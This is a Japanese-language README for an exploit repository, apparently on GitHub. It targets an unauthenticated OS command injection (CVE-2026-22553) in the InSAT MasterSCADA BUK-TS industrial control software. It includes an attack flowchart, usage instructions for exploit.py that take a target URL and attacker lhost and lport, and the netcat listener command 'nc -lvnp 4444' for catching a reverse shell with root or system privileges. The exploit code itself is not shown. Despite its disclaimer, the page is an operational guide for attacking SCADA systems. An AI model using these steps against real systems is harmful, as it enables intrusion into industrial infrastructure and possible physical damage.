InSAT MasterSCADA BUK-TS - 認証不要のRCE

CVE-2026-22553 | CVSS 9.8 重大| エクスプロイト作成者 Mohammed Idrees Banyamer

📝 説明

InSAT MasterSCADA BUK-TS にはMMadmServ Webインターフェースに認証不要のOSコマンドインジェクションの脆弱性があります。この欠陥により、リモート攻撃者は認証なしで完全なリモートコード実行（RCE）を達成できます。

影響を受ける製品: InSAT MasterSCADA BUK-TS (全バージョン)
脆弱性タイプ: OSコマンドインジェクション (CWE-78)
深刻度: 重大 (CVSS v3.1 スコア: 9.8)
エクスプロイト作成者: Mohammed Idrees Banyamer
国: ヨルダン 🇯🇴

🛠️ 攻撃手法ダイアグラム

flowchart TD
    A[Attacker] -->|HTTP POST Request| B[MMadmServ Web Interface]
    B -->|Unauthenticated| C[Vulnerable Parameter]
    C -->|OS Command Injection| D[Command Execution on Target Server]
    D -->|Reverse Shell| E[Attacker's Listener\nnc -lvnp <port>]
    
    style A fill:#ff4d4d,stroke:#fff
    style E fill:#4dff88,stroke:#fff

🚀 使用方法

python3 exploit.py <target_url> --lhost <your_ip> --lport <your_port>

例

python3 exploit.py http://192.168.1.50:8080 --lhost 192.168.1.100 --lport 4444

オプション

オプション	説明
`target`	ターゲットURL (例: http://ip:port)
`--lhost`	あなたのIPアドレス (リバースシェル)
`--lport`	あなたのリスニングポート

📌 使い方

自分のマシンでリスナーを起動します:
```
nc -lvnp 4444
```

エクスプロイトを実行します:

python3 exploit.py http://target-ip:port --lhost your-ip --lport 4444

root/system権限でリバースシェルを取得します。

⚠️ 免責事項

このエクスプロイトは教育目的および許可されたペネトレーションテストのためにのみ提供されます。
自分が所有していないシステムに対する不正使用は違法であり、国際法に違反する可能性があります。
作成者は誤使用に対する一切の責任を負いません。

📬 作成者

Mohammed Idrees Banyamer

Instagram: @banyamer_security
GitHub: mbanyamer
国: ヨルダン 🇯🇴

このリポジトリが役に立ったら⭐を付けてください！

CVE-2026-22553-InSAT-MasterSCADA-BUK-TS-MMadmServ

人気